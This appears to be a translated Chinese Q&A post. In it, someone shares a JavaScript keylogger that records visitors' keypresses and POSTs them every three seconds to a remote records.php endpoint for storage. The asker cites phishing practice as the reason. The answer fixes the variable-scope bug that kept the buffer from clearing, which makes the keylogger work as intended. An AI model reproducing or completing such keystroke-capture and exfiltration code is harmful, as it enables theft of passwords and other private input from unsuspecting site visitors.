在下面的代码示例中,我想记录并向访问者发送键盘输入(对我而言,这不仅仅是针对网络钓鱼攻击的练习(对我自己的网站来说也没用))
var data = '';
function update_data(udata)
{
var http = new XMLHttpRequest();
var param = encodeURI(udata)
http.open("POST","http://website.com/records.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("data="+param);
var data = '';
}
document.onkeypress = function(evt)
{
evt = evt || window.event
data = data + String.fromCharCode(evt.charCode)
}
timer = setInterval('update_data(data)', 3000);
我想收集键盘输入3秒钟(在一个字符串(var数据)中),然后将它们发送到服务器,最后清理字符串并再次收集。 在records.php中,输入存储在数据库中。
我的问题是数据变量在函数update_data的末尾没有将值更改为空字符串。因此,如果用户输入了' a'它会发送' a'每三秒钟到服务器。
答案 0 :(得分:0)
您应该参考全球 data
变量,而不是本地变量。
所以而不是:
function update_data(udata)
{
...
var data = '';
}
写:
function update_data(udata)
{
...
data = '';
}
此问题与 范围 有关,请在此处详细了解:Variable Scope (JavaScript)